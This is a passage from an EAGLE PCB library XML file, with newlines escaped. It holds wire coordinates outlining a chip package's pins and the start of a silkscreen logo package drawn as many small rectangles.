layer=\"51\"/>\n<wire x1=\"-5.3594\" y1=\"-8.001\" x2=\"-5.3594\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-4.8768\" y1=\"-7.0104\" x2=\"-5.1308\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-5.1308\" y1=\"-7.0104\" x2=\"-5.1308\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-5.1308\" y1=\"-8.001\" x2=\"-4.8768\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-4.8768\" y1=\"-8.001\" x2=\"-4.8768\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-4.3688\" y1=\"-7.0104\" x2=\"-4.6228\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-4.6228\" y1=\"-7.0104\" x2=\"-4.6228\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-4.6228\" y1=\"-8.001\" x2=\"-4.3688\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-4.3688\" y1=\"-8.001\" x2=\"-4.3688\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-3.8608\" y1=\"-7.0104\" x2=\"-4.1402\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-4.1402\" y1=\"-7.0104\" x2=\"-4.1402\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-4.1402\" y1=\"-8.001\" x2=\"-3.8608\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-3.8608\" y1=\"-8.001\" x2=\"-3.8608\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-3.3528\" y1=\"-7.0104\" x2=\"-3.6322\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-3.6322\" y1=\"-7.0104\" x2=\"-3.6322\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-3.6322\" y1=\"-8.001\" x2=\"-3.3528\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-3.3528\" y1=\"-8.001\" x2=\"-3.3528\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.8702\" y1=\"-7.0104\" x2=\"-3.1242\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-3.1242\" y1=\"-7.0104\" x2=\"-3.1242\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-3.1242\" y1=\"-8.001\" x2=\"-2.8702\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.8702\" y1=\"-8.001\" x2=\"-2.8702\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.3622\" y1=\"-7.0104\" x2=\"-2.6416\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.6416\" y1=\"-7.0104\" x2=\"-2.6416\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.6416\" y1=\"-8.001\" x2=\"-2.3622\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.3622\" y1=\"-8.001\" x2=\"-2.3622\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.8542\" y1=\"-7.0104\" x2=\"-2.1336\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.1336\" y1=\"-7.0104\" x2=\"-2.1336\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.1336\" y1=\"-8.001\" x2=\"-1.8542\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.8542\" y1=\"-8.001\" x2=\"-1.8542\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.3716\" y1=\"-7.0104\" x2=\"-1.6256\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.6256\" y1=\"-7.0104\" x2=\"-1.6256\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.6256\" y1=\"-8.001\" x2=\"-1.3716\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.3716\" y1=\"-8.001\" x2=\"-1.3716\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-0.8636\" y1=\"-7.0104\" x2=\"-1.143\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.143\" y1=\"-7.0104\" x2=\"-1.143\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.143\" y1=\"-8.001\" x2=\"-0.8636\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-0.8636\" y1=\"-8.001\" x2=\"-0.8636\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-0.3556\" y1=\"-7.0104\" x2=\"-0.635\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-0.635\" y1=\"-7.0104\" x2=\"-0.635\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-0.635\" y1=\"-8.001\" x2=\"-0.3556\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-0.3556\" y1=\"-8.001\" x2=\"-0.3556\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.127\" y1=\"-7.0104\" x2=\"-0.127\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-0.127\" y1=\"-7.0104\" x2=\"-0.127\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-0.127\" y1=\"-8.001\" x2=\"0.127\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.127\" y1=\"-8.001\" x2=\"0.127\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.635\" y1=\"-7.0104\" x2=\"0.3556\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.3556\" y1=\"-7.0104\" x2=\"0.3556\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.3556\" y1=\"-8.001\" x2=\"0.635\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.635\" y1=\"-8.001\" x2=\"0.635\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.143\" y1=\"-7.0104\" x2=\"0.8636\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.8636\" y1=\"-7.0104\" x2=\"0.8636\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.8636\" y1=\"-8.001\" x2=\"1.143\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.143\" y1=\"-8.001\" x2=\"1.143\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.6256\" y1=\"-7.0104\" x2=\"1.3716\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.3716\" y1=\"-7.0104\" x2=\"1.3716\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.3716\" y1=\"-8.001\" x2=\"1.6256\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.6256\" y1=\"-8.001\" x2=\"1.6256\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.1336\" y1=\"-7.0104\" x2=\"1.8542\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.8542\" y1=\"-7.0104\" x2=\"1.8542\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.8542\" y1=\"-8.001\" x2=\"2.1336\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.1336\" y1=\"-8.001\" x2=\"2.1336\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.6416\" y1=\"-7.0104\" x2=\"2.3622\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.3622\" y1=\"-7.0104\" x2=\"2.3622\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.3622\" y1=\"-8.001\" x2=\"2.6416\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.6416\" y1=\"-8.001\" x2=\"2.6416\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"3.1242\" y1=\"-7.0104\" x2=\"2.8702\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.8702\" y1=\"-7.0104\" x2=\"2.8702\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.8702\" y1=\"-8.001\" x2=\"3.1242\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"3.1242\" y1=\"-8.001\" x2=\"3.1242\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"3.6322\" y1=\"-7.0104\" x2=\"3.3528\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"3.3528\" y1=\"-7.0104\" x2=\"3.3528\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"3.3528\" y1=\"-8.001\" x2=\"3.6322\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"3.6322\" y1=\"-8.001\" x2=\"3.6322\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"4.1402\" y1=\"-7.0104\" x2=\"3.8608\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"3.8608\" y1=\"-7.0104\" x2=\"3.8608\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"3.8608\" y1=\"-8.001\" x2=\"4.1402\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"4.1402\" y1=\"-8.001\" x2=\"4.1402\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"4.6228\" y1=\"-7.0104\" x2=\"4.3688\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"4.3688\" y1=\"-7.0104\" x2=\"4.3688\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"4.3688\" y1=\"-8.001\" x2=\"4.6228\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"4.6228\" y1=\"-8.001\" x2=\"4.6228\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"5.1308\" y1=\"-7.0104\" x2=\"4.8768\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"4.8768\" y1=\"-7.0104\" x2=\"4.8768\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"4.8768\" y1=\"-8.001\" x2=\"5.1308\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"5.1308\" y1=\"-8.001\" x2=\"5.1308\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"5.6388\" y1=\"-7.0104\" x2=\"5.3594\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"5.3594\" y1=\"-7.0104\" x2=\"5.3594\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"5.3594\" y1=\"-8.001\" x2=\"5.6388\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"5.6388\" y1=\"-8.001\" x2=\"5.6388\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"6.1468\" y1=\"-7.0104\" x2=\"5.8674\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"5.8674\" y1=\"-7.0104\" x2=\"5.8674\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"5.8674\" y1=\"-8.001\" x2=\"6.1468\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"6.1468\" y1=\"-8.001\" x2=\"6.1468\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"-5.8674\" x2=\"7.0104\" y2=\"-6.1468\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"-6.1468\" x2=\"8.001\" y2=\"-6.1468\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"-6.1468\" x2=\"8.001\" y2=\"-5.8674\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"-5.8674\" x2=\"7.0104\" y2=\"-5.8674\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"-5.3594\" x2=\"7.0104\" y2=\"-5.6388\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"-5.6388\" x2=\"8.001\" y2=\"-5.6388\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"-5.6388\" x2=\"8.001\" y2=\"-5.3594\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"-5.3594\" x2=\"7.0104\" y2=\"-5.3594\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"-4.8768\" x2=\"7.0104\" y2=\"-5.1308\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"-5.1308\" x2=\"8.001\" y2=\"-5.1308\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"-5.1308\" x2=\"8.001\" y2=\"-4.8768\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"-4.8768\" x2=\"7.0104\" y2=\"-4.8768\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"-4.3688\" x2=\"7.0104\" y2=\"-4.6228\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"-4.6228\" x2=\"8.001\" y2=\"-4.6228\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"-4.6228\" x2=\"8.001\" y2=\"-4.3688\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"-4.3688\" x2=\"7.0104\" y2=\"-4.3688\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"-3.8608\" x2=\"7.0104\" y2=\"-4.1402\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"-4.1402\" x2=\"8.001\" y2=\"-4.1402\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"-4.1402\" x2=\"8.001\" y2=\"-3.8608\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"-3.8608\" x2=\"7.0104\" y2=\"-3.8608\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"-3.3528\" x2=\"7.0104\" y2=\"-3.6322\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"-3.6322\" x2=\"8.001\" y2=\"-3.6322\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"-3.6322\" x2=\"8.001\" y2=\"-3.3528\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"-3.3528\" x2=\"7.0104\" y2=\"-3.3528\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"-2.8702\" x2=\"7.0104\" y2=\"-3.1242\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"-3.1242\" x2=\"8.001\" y2=\"-3.1242\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"-3.1242\" x2=\"8.001\" y2=\"-2.8702\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"-2.8702\" x2=\"7.0104\" y2=\"-2.8702\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"-2.3622\" x2=\"7.0104\" y2=\"-2.6416\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"-2.6416\" x2=\"8.001\" y2=\"-2.6416\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"-2.6416\" x2=\"8.001\" y2=\"-2.3622\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"-2.3622\" x2=\"7.0104\" y2=\"-2.3622\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"-1.8542\" x2=\"7.0104\" y2=\"-2.1336\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"-2.1336\" x2=\"8.001\" y2=\"-2.1336\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"-2.1336\" x2=\"8.001\" y2=\"-1.8542\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"-1.8542\" x2=\"7.0104\" y2=\"-1.8542\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"-1.3716\" x2=\"7.0104\" y2=\"-1.6256\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"-1.6256\" x2=\"8.001\" y2=\"-1.6256\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"-1.6256\" x2=\"8.001\" y2=\"-1.3716\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"-1.3716\" x2=\"7.0104\" y2=\"-1.3716\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"-0.8636\" x2=\"7.0104\" y2=\"-1.143\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"-1.143\" x2=\"8.001\" y2=\"-1.143\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"-1.143\" x2=\"8.001\" y2=\"-0.8636\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"-0.8636\" x2=\"7.0104\" y2=\"-0.8636\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"-0.3556\" x2=\"7.0104\" y2=\"-0.635\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"-0.635\" x2=\"8.001\" y2=\"-0.635\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"-0.635\" x2=\"8.001\" y2=\"-0.3556\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"-0.3556\" x2=\"7.0104\" y2=\"-0.3556\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"0.127\" x2=\"7.0104\" y2=\"-0.127\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"-0.127\" x2=\"8.001\" y2=\"-0.127\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"-0.127\" x2=\"8.001\" y2=\"0.127\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"0.127\" x2=\"7.0104\" y2=\"0.127\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"0.635\" x2=\"7.0104\" y2=\"0.3556\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"0.3556\" x2=\"8.001\" y2=\"0.3556\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"0.3556\" x2=\"8.001\" y2=\"0.635\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"0.635\" x2=\"7.0104\" y2=\"0.635\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"1.143\" x2=\"7.0104\" y2=\"0.8636\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"0.8636\" x2=\"8.001\" y2=\"0.8636\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"0.8636\" x2=\"8.001\" y2=\"1.143\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"1.143\" x2=\"7.0104\" y2=\"1.143\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"1.6256\" x2=\"7.0104\" y2=\"1.3716\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"1.3716\" x2=\"8.001\" y2=\"1.3716\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"1.3716\" x2=\"8.001\" y2=\"1.6256\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"1.6256\" x2=\"7.0104\" y2=\"1.6256\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"2.1336\" x2=\"7.0104\" y2=\"1.8542\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"1.8542\" x2=\"8.001\" y2=\"1.8542\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"1.8542\" x2=\"8.001\" y2=\"2.1336\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"2.1336\" x2=\"7.0104\" y2=\"2.1336\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"2.6416\" x2=\"7.0104\" y2=\"2.3622\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"2.3622\" x2=\"8.001\" y2=\"2.3622\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"2.3622\" x2=\"8.001\" y2=\"2.6416\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"2.6416\" x2=\"7.0104\" y2=\"2.6416\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"3.1242\" x2=\"7.0104\" y2=\"2.8702\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"2.8702\" x2=\"8.001\" y2=\"2.8702\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"2.8702\" x2=\"8.001\" y2=\"3.1242\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"3.1242\" x2=\"7.0104\" y2=\"3.1242\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"3.6322\" x2=\"7.0104\" y2=\"3.3528\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"3.3528\" x2=\"8.001\" y2=\"3.3528\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"3.3528\" x2=\"8.001\" y2=\"3.6322\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"3.6322\" x2=\"7.0104\" y2=\"3.6322\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"4.1402\" x2=\"7.0104\" y2=\"3.8608\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"3.8608\" x2=\"8.001\" y2=\"3.8608\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"3.8608\" x2=\"8.001\" y2=\"4.1402\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"4.1402\" x2=\"7.0104\" y2=\"4.1402\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"4.6228\" x2=\"7.0104\" y2=\"4.3688\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"4.3688\" x2=\"8.001\" y2=\"4.3688\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"4.3688\" x2=\"8.001\" y2=\"4.6228\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"4.6228\" x2=\"7.0104\" y2=\"4.6228\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"5.1308\" x2=\"7.0104\" y2=\"4.8768\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"4.8768\" x2=\"8.001\" y2=\"4.8768\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"4.8768\" x2=\"8.001\" y2=\"5.1308\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"5.1308\" x2=\"7.0104\" y2=\"5.1308\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"5.6388\" x2=\"7.0104\" y2=\"5.3594\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"5.3594\" x2=\"8.001\" y2=\"5.3594\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"5.3594\" x2=\"8.001\" y2=\"5.6388\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"5.6388\" x2=\"7.0104\" y2=\"5.6388\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"6.1468\" x2=\"7.0104\" y2=\"5.8674\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"5.8674\" x2=\"8.001\" y2=\"5.8674\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"5.8674\" x2=\"8.001\" y2=\"6.1468\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"6.1468\" x2=\"7.0104\" y2=\"6.1468\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"5.7404\" x2=\"-5.7404\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"-7.0104\" x2=\"7.0104\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"-7.0104\" x2=\"7.0104\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"7.0104\" x2=\"-7.0104\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"7.0104\" x2=\"-7.0104\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<text x=\"-9.5758\" y=\"5.9944\" size=\"1.27\" layer=\"51\" ratio=\"6\" rot=\"SR0\">*</text>\n<text x=\"-4.3942\" y=\"9.8298\" size=\"2.0828\" layer=\"25\" ratio=\"10\" rot=\"SR0\">&gt;NAME</text>\n<text x=\"-6.2738\" y=\"-10.7442\" size=\"2.0828\" layer=\"27\" ratio=\"10\" rot=\"SR0\">&gt;VALUE</text>\n</package>\n<package name=\"AP_LOGO_5MM_SILK\">\n<rectangle x1=\"-0.0511\" y1=\"-2.5422\" x2=\"-0.0333\" y2=\"-2.5378\" layer=\"21\"/>\n<rectangle x1=\"-0.06\" y1=\"-2.5378\" x2=\"-0.0245\" y2=\"-2.5333\" layer=\"21\"/>\n<rectangle x1=\"-0.0689\" y1=\"-2.5333\" x2=\"-0.0156\" y2=\"-2.5289\" layer=\"21\"/>\n<rectangle x1=\"-0.0733\" y1=\"-2.5289\" x2=\"-0.0111\" y2=\"-2.5245\" layer=\"21\"/>\n<rectangle x1=\"-0.0822\" y1=\"-2.5245\" x2=\"-0.0023\" y2=\"-2.52\" layer=\"21\"/>\n<rectangle x1=\"-0.0911\" y1=\"-2.52\" x2=\"0.0066\" y2=\"-2.5156\" layer=\"21\"/>\n<rectangle x1=\"-0.0955\" y1=\"-2.5156\" x2=\"0.0155\" y2=\"-2.5111\" layer=\"21\"/>\n<rectangle x1=\"-0.1044\" y1=\"-2.5111\" x2=\"0.02\" y2=\"-2.5067\" layer=\"21\"/>\n<rectangle x1=\"-0.1133\" y1=\"-2.5067\" x2=\"0.0288\" y2=\"-2.5023\" layer=\"21\"/>\n<rectangle x1=\"-0.1221\" y1=\"-2.5023\" x2=\"0.0377\" y2=\"-2.4978\" layer=\"21\"/>\n<rectangle x1=\"-0.1266\" y1=\"-2.4978\" x2=\"0.0422\" y2=\"-2.4934\" layer=\"21\"/>\n<rectangle x1=\"-0.1355\" y1=\"-2.4934\" x2=\"0.051\" y2=\"-2.4889\" layer=\"21\"/>\n<rectangle x1=\"-0.1443\" y1=\"-2.4889\" x2=\"0.0599\" y2=\"-2.4845\" layer=\"21\"/>\n<rectangle x1=\"-0.1532\" y1=\"-2.4845\" x2=\"0.0688\" y2=\"-2.48\" layer=\"21\"/>\n<rectangle x1=\"-0.1577\" y1=\"-2.48\" x2=\"0.0732\" 